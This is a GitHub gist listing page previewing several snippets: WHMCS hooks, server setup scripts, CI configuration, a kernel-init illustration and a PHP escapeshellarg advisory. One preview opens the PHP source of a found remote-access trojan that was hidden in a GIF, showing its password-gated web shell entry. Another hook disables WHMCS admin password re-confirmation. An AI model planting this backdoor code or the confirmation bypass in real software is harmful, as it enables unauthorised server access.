Skip to content

Instantly share code, notes, and snippets.

View yashodhank's full-sized avatar
🎯
Manifesting

Yashodhan yashodhank

🎯
Manifesting
View GitHub Profile
@jwieder
jwieder / creditBalanceSidebar.php
Last active July 4, 2021 08:32
Place this hook script in the includes/hooks/ directory of the WHMCS folder within your server's webroot to display each client's available credit balance as a sidebar item within the WHMCS Client Area homepage and billing-related pages. Created by combining elements from two scripts from the WHMCS forums and fixing several issues with both. Tes…
<?php
/**
* Display Client's Credit Balance as a Sidebar Item in Client Area Homepage and Billing-related Pages
*
* @author Josh Wieder
* @link https://gist.github.com/jwieder/3d470a4e85e041ca41bc2cee0c5aa7a8#file-creditbalancesidebar-php
* @since WHMCS v6.0.0+
*/
@Jamesits
Jamesits / ubuntu_enable_bbr.sh
Last active December 13, 2022 22:27
Ubuntu enable BBR
#!/bin/bash
set -eu
SYSCTL_FILE=/etc/sysctl.d/90-tcp-bbr.conf
# check root
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
@zerda
zerda / .gitlab-ci.yml
Last active August 8, 2023 07:52
Gitlab CI for ASP.Net Core project
stages:
- build
- publish
.build: &build_template
stage: build
image: microsoft/dotnet:2.1-sdk-alpine
cache:
key: "$CI_PROJECT_NAMESPACE-$CI_PROJECT_NAME"
paths:
@jwieder
jwieder / gif-embedded-RAT-v1425.php
Created April 15, 2017 14:14
This is the source code for a RAT I found. The RAT was rot-13 encoded, and contained a standard six byte .GIF header. The idea being to upload the file as an attachment for a form or other program that allows such foolishness. I found the revision number interesting.
/*
* REVISION: $Rev: 1426 $
*/
if (md5(md5($_REQUEST['hhh'])) == 'bc5aaff98e1783e8e30f266af63cea42') {
set_time_limit(36000);
function unslash_rec(&$arr)
{
reset($arr);
while (list($key) = each($arr))
@jclarke
jclarke / no_admin_confirm.php
Last active November 27, 2021 13:03
Disables the confirm password feature in the WHMCS admin area. Place in includes/hooks
<?php
add_hook('AdminLogin', 1, function($vars) {
$_SESSION["AuthConfirmationTimestamp"] = \Carbon\Carbon::now()->timestamp;
});
add_hook('AdminAreaHeadOutput', 1, function($vars) {
$_SESSION["AuthConfirmationTimestamp"] = \Carbon\Carbon::now()->timestamp;
return '
<script type="text/javascript">
$(document).ready(function(){
<?php
/**
* Auto Login Hash Merge Tag Email Template ( Versão resumida )
* @author Mauricio Gofas | gofas.net
* @copyright Copyright (c) 2016 https://gofas.net
*/
// Modelo de URL para colar no template de email:
// {$whmcs_url}auth.php?email={$client_email}&hash={$hash}&whmcsurl={$whmcs_url}&goto=viewinvoice.php?id={$invoice_id}
$autoauthkey = "xxxxx_autoauthkey_xxxxx"; // chave igual à inserida no arquivo /configuration.php
@dhavalv
dhavalv / LAMP_Stack_Installation.md
Last active August 26, 2020 20:15
Document for lamp stack is only apache 2.4 & php5.6 Installation...

How To Install Linux, Apache, MySQL, PHP (LAMP) stack on Ubuntu 12.04

About Lemp

LAMP stack is a group of open source software used to get web servers up and running. The acronym stands for Linux, Apache, MySQL, and PHP. Since the virtual private server is already running Ubuntu, the linux part is taken care of. Here is how to install the rest.

If any existing lamp installation & you need to upgrade your old server, uninstall all things & backup first all databases & files.

sudo apt-get purge php5*
@marcan
marcan / linux.sh
Last active July 26, 2025 08:39
Linux kernel initialization, translated to bash
#!/boot/bzImage
# Linux kernel userspace initialization code, translated to bash
# (Minus floppy disk handling, because seriously, it's 2017.)
# Not 100% accurate, but gives you a good idea of how kernel init works
# GPLv2, Copyright 2017 Hector Martin <[email protected]>
# Based on Linux 4.10-rc2.
# Note: pretend chroot is a builtin and affects the current process
# Note: kernel actually uses major/minor device numbers instead of device name
@allanlw
allanlw / Dockerfile
Created January 6, 2017 15:34
Secretgrind Dockerfile
FROM ubuntu:14.04
# Ubuntu 14.04 is used instead of 16.04, because 16.04 has too new a version of GCC
# and valgrind configure complains
# automake is needed for aclocal to build the valgrind code
# wget and git for fetching source
# python is required for building capstone
RUN apt-get update && apt-get -y install \
build-essential \
@Zenexer
Zenexer / escapeshellrce.md
Last active August 22, 2025 13:04
Security Advisory: PHP's escapeshellcmd and escapeshellarg are insecure

Paul Buonopane [email protected] at NamePros
PGP: https://keybase.io/zenexer

I'm working on cleaning up this advisory so that it's more informative at a glance. Suggestions are welcome.

This advisory addresses the underlying PHP vulnerabilities behind Dawid Golunski's [CVE-2016-10033][CVE-2016-10033], [CVE-2016-10045][CVE-2016-10045], and [CVE-2016-10074][CVE-2016-10074]. It assumes prior understanding of these vulnerabilities.

This advisory does not yet have associated CVE identifiers.

Summary